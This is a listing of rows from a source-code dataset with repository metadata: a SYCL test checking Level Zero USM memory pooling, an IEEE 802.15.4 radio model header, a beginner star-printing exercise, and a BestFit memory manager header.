// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_DISABLE_USM_ALLOCATOR=1 %{run} %t.out d 2>&1 | FileCheck %s --check-prefix CHECK-NOPOOL
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_DISABLE_USM_ALLOCATOR=1 %{run} %t.out s 2>&1 | FileCheck %s --check-prefix CHECK-NOPOOL
// With pooling enabled and MaxPooolable=1MB: 1,2,3,4,5 allocs lead to ZE call.
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";;1M,4,64K" %{run} %t.out h 2>&1 | FileCheck %s --check-prefix CHECK-12345
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";;1M,4,64K" %{run} %t.out d 2>&1 | FileCheck %s --check-prefix CHECK-12345
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";;1M,4,64K" %{run} %t.out s 2>&1 | FileCheck %s --check-prefix CHECK-12345
// With pooling enabled and capacity=1: 1,2,4,5 allocs lead to ZE call.
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";;2M,1,64K" %{run} %t.out h 2>&1 | FileCheck %s --check-prefix CHECK-1245
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";;2M,1,64K" %{run} %t.out d 2>&1 | FileCheck %s --check-prefix CHECK-1245
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";;2M,1,64K" %{run} %t.out s 2>&1 | FileCheck %s --check-prefix CHECK-1245
// With pooling enabled and MaxPoolSize=2MB: 1,2,4,5 allocs lead to ZE call.
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";2M;2M,4,64K" %{run} %t.out h 2>&1 | FileCheck %s --check-prefix CHECK-1245
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";2M;2M,4,64K" %{run} %t.out d 2>&1 | FileCheck %s --check-prefix CHECK-1245
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";2M;2M,4,64K" %{run} %t.out s 2>&1 | FileCheck %s --check-prefix CHECK-1245
// With pooling enabled and SlabMinSize of 4 MB: 1,5 allocs lead to ZE call.
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";;2M,4,4M" %{run} %t.out h 2>&1 | FileCheck %s --check-prefix CHECK-15
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";;2M,4,4M" %{run} %t.out d 2>&1 | FileCheck %s --check-prefix CHECK-15
// RUN: env ZE_DEBUG=1 SYCL_PI_LEVEL_ZERO_USM_RESIDENT=0 SYCL_PI_LEVEL_ZERO_USM_ALLOCATOR=";;2M,4,4M" %{run} %t.out s 2>&1 | FileCheck %s --check-prefix CHECK-15
#include "CL/sycl.hpp"
#include <iostream>
using namespace sycl;
constexpr size_t SIZE = 2 * 1024 * 1024;
void test_host(context C) {
void *ph1 = malloc_host(SIZE, C);
void *ph2 = malloc_host(SIZE, C);
free(ph1, C);
free(ph2, C);
void *ph3 = malloc_host(SIZE, C);
void *ph4 = malloc_host(SIZE, C);
void *ph5 = malloc_host(SIZE, C);
free(ph3, C);
free(ph4, C);
free(ph5, C);
}
void test_device(context C, device D) {
void *ph1 = malloc_device(SIZE, D, C);
void *ph2 = malloc_device(SIZE, D, C);
free(ph1, C);
free(ph2, C);
void *ph3 = malloc_device(SIZE, D, C);
void *ph4 = malloc_device(SIZE, D, C);
void *ph5 = malloc_device(SIZE, D, C);
free(ph3, C);
free(ph4, C);
free(ph5, C);
}
void test_shared(context C, device D) {
void *ph1 = malloc_shared(SIZE, D, C);
void *ph2 = malloc_shared(SIZE, D, C);
free(ph1, C);
free(ph2, C);
void *ph3 = malloc_shared(SIZE, D, C);
void *ph4 = malloc_shared(SIZE, D, C);
void *ph5 = malloc_shared(SIZE, D, C);
free(ph3, C);
free(ph4, C);
free(ph5, C);
}
int main(int argc, char *argv[]) {
queue Q;
device D = Q.get_device();
context C = Q.get_context();
const char *devType = D.is_cpu() ? "CPU" : "GPU";
std::string pluginName =
D.get_platform().get_info<sycl::info::platform::name>();
std::cout << "Running on device " << devType << " ("
<< D.get_info<sycl::info::device::name>() << ") " << pluginName
<< " plugin\n";
if (*argv[1] == 'h') {
std::cerr << "Test zeMemAllocHost\n";
test_host(C);
} else if (*argv[1] == 'd') {
std::cerr << "Test zeMemAllocDevice\n";
test_device(C, D);
} else if (*argv[1] == 's') {
std::cerr << "Test zeMemAllocShared\n";
test_shared(C, D);
}
return 0;
}
// CHECK-NOPOOL: Test [[API:zeMemAllocHost|zeMemAllocDevice|zeMemAllocShared]]
// CHECK-NOPOOL-NEXT: ZE ---> [[API]](
// CHECK-NOPOOL-NEXT: ZE ---> [[API]](
// CHECK-NOPOOL-NEXT: ZE ---> zeMemFree
// CHECK-NOPOOL-NEXT: ZE ---> zeMemFree
// CHECK-NOPOOL-NEXT: ZE ---> [[API]](
// CHECK-NOPOOL-NEXT: ZE ---> [[API]](
// CHECK-NOPOOL-NEXT: ZE ---> [[API]](
// CHECK-12345: Test [[API:zeMemAllocHost|zeMemAllocDevice|zeMemAllocShared]]
// CHECK-12345-NEXT: ZE ---> [[API]](
// CHECK-12345-NEXT: ZE ---> [[API]](
// CHECK-12345-NEXT: ZE ---> zeMemGetAllocProperties
// CHECK-12345-NEXT: ZE ---> zeMemFree
// CHECK-12345-NEXT: ZE ---> zeMemGetAllocProperties
// CHECK-12345-NEXT: ZE ---> zeMemFree
// CHECK-12345-NEXT: ZE ---> [[API]](
// CHECK-12345-NEXT: ZE ---> [[API]](
// CHECK-12345-NEXT: ZE ---> [[API]](
// CHECK-1245: Test [[API:zeMemAllocHost|zeMemAllocDevice|zeMemAllocShared]]
// CHECK-1245-NEXT: ZE ---> [[API]](
// CHECK-1245-NEXT: ZE ---> [[API]](
// CHECK-1245-NEXT: ZE ---> zeMemGetAllocProperties
// CHECK-1245-NEXT: ZE ---> zeMemGetAllocProperties
// CHECK-1245-NEXT: ZE ---> zeMemFree
// CHECK-1245-NEXT: ZE ---> [[API]](
// CHECK-1245-NEXT: ZE ---> [[API]](
// CHECK-15: Test [[API:zeMemAllocHost|zeMemAllocDevice|zeMemAllocShared]]
// CHECK-15-NEXT: ZE ---> [[API]](
// CHECK-15-NEXT: ZE ---> zeMemGetAllocProperties
// CHECK-15-NEXT: ZE ---> zeMemGetAllocProperties
// CHECK-15-NEXT: ZE ---> [[API]](
// CHECK-15-NEXT: ZE ---> zeMemGetAllocProperties
// CHECK-15-NEXT: ZE ---> zeMemGetAllocProperties
// CHECK-15-NEXT: ZE ---> zeMemGetAllocProperties
// CHECK-15-NEXT: ZE ---> zeMemFree
| [
"[email protected]"
] | |
406b7fddb49e8e2aed653ccb007252caa5fe47fe | b56bac95f5af902a8fdcb6e612ee2f43f895ae3a | /Wireless OverSim-INETMANET/inetmanet-2.0/src/wpan/phyLayer/ieee802154/Ieee802154RadioModel.h | 4c30bea0fe0aeb6a37efb3f5ef377ae78d8becd3 | [] | no_license | shabirali-mnnit/WirelessOversim-INETMANET | 380ea45fecaf56906ce2226b7638e97d6d1f00b0 | 1c6522495caa26d705bfe810f495c07f8b581a85 | refs/heads/master | 2021-07-30T10:55:25.490486 | 2021-07-20T08:14:35 | 2021-07-20T08:14:35 | 74,204,332 | 2 | 0 | null | 2016-11-22T05:47:22 | 2016-11-19T11:27:26 | C++ | UTF-8 | C++ | false | false | 925 | h | #ifndef IEEE_802154_RADIOMODEL_H
#define IEEE_802154_RADIOMODEL_H
#include "IRadioModel.h"
class INET_API Ieee802154RadioModel : public IRadioModel
{
protected:
double snirThreshold;
cModule *ownerRadioModule;
public:
virtual void initializeFrom(cModule *radioModule);
virtual double calculateDuration(AirFrame *airframe);
virtual PhyIndication isReceivedCorrectly(AirFrame *airframe, const SnrList& receivedList);
// used by the Airtime Link Metric computation
virtual bool haveTestFrame() {return false;}
virtual double calculateDurationTestFrame(AirFrame *airframe) {return 0;}
virtual double getTestFrameError(double snirMin, double bitrate) {return 0;}
virtual int getTestFrameSize() {return 0;}
protected:
// utility
virtual bool packetOk(double snirMin, int lengthMPDU, double bitrate);
// utility
virtual double dB2fraction(double dB);
};
#endif
| [
"[email protected]"
] | |
4959ef0c9bf86c31d3a3c07f8a48d891eda22399 | 6c77ee9b330a6cca366421e8e190c0f97a043e2f | /input_output/baekjoon_2438.cpp | 4384283c3e6af852d3bd4fc9900eebf197e86371 | [] | no_license | NamNamju/Algorithm | cb635111765f7b4b194f4dbf1785aeb4181ab1f9 | 5448cc8324ec73a74d08f2abf521de7b7734991a | refs/heads/master | 2023-03-13T03:57:58.950043 | 2021-02-26T13:36:42 | 2021-02-26T13:36:42 | 229,538,783 | 0 | 0 | null | null | null | null | UHC | C++ | false | false | 436 | cpp | #include <iostream>
using namespace std;
// 첫째 줄에는 별 1개, 둘째 줄에는 별 2개, N번째 줄에는 별 N개를 찍는 문제
int main() {
int num;
cin >> num; // N개
for (int i = 0; i < num; i++) { // 0번째 줄부터 (num - 1)번째 줄 까지
for (int j = 0; j <= i; j++) { // 0번째 줄은 1개, 1번째 줄은 2개 ... (num - 1)번째 줄은 num개
cout << "*";
}
cout << endl;
}
return 0;
} | [
"[email protected]"
] | |
8c85bfb868da8c704818ec604fc6b28ee69da8b7 | ca22cdb9af911b3269767f8ba48b61aa4835f93e | /MemoryManager/Base Files From Instructor/BestFit.h | 0f648c73766495fe3a29040b56428f0e3b8bfc31 | [] | no_license | CSUMBmWall/SchoolProjects | c155b4a14d707d167636ab216c59044b3f4d6bf2 | d8eeace45f3aec117d9c91c8aa29085610556049 | refs/heads/master | 2021-01-13T01:02:54.112831 | 2016-03-18T15:37:14 | 2016-03-18T15:37:14 | 53,026,296 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 766 | h | /*
*
* File Name: BestFit.h
* Name:
* Course: CST 238
* Term: Fall 2014
* Assignment: Project 2
* Abstract: BestFit Base Class
*
*/
#ifndef BEST_FIT_H
#define BEST_FIT_H
#include "MemoryManager.h"
class BestFit : public MemoryManager {
public:
// Constructor
BestFit(size_t total_bytes = 0, size_t block_size = 64) :
MemoryManager(total_bytes, block_size) { }
// Allocate size number of bytes
// Returns a pointer to the newly
// allocated chunk of memory
//
// Invaraint: newly allocated memory
// must be zero'ed out
//
// Errors: requested size is larger
// than the greatest chunk
void *allocate(size_t size);
};
#endif
| [
"[email protected]"
] |
Subsets and Splits